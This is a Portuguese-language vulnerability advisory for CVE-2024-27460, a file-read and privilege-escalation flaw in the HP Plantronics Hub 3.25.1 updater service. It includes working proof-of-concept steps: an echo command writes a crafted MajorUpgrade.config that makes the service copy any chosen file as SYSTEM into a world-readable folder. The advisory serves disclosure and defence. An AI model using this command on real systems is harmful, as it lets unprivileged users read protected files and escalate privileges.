CVE-2024-27460

Escalada de Privilégios/Leitura Arbitrária de Arquivos no HP Plantronics Hub 3.25.1 Updater

Descrição:

O HP Plantronics Hub 3.25.1 apresenta uma falha que permite a usuários com baixos privilégios realizar leitura arbitrária de arquivos como SYSTEM na máquina onde a aplicação está instalada. Além disso, é possível abusar dessa falha para escalar privilégios para o usuário SYSTEM.

Versões afetadas

HP Plantronics Hub 3.25.1

Serviço(s) afetado(s)

Caminho Inseguro: "C:\ProgramData\Plantronics\Spokes3G"

Serviço: PlantronicsUpdateService

Passos para reproduzir (POC):

• Abra o cmd.exe
• Navegue usando cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• O arquivo desejado será copiado para "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", ao qual qualquer usuário autenticado tem acesso.

Descoberto por:

• Farid Zerrouk da Deloitte Belgium
• Alaa Kachouh da Mastercard Europe.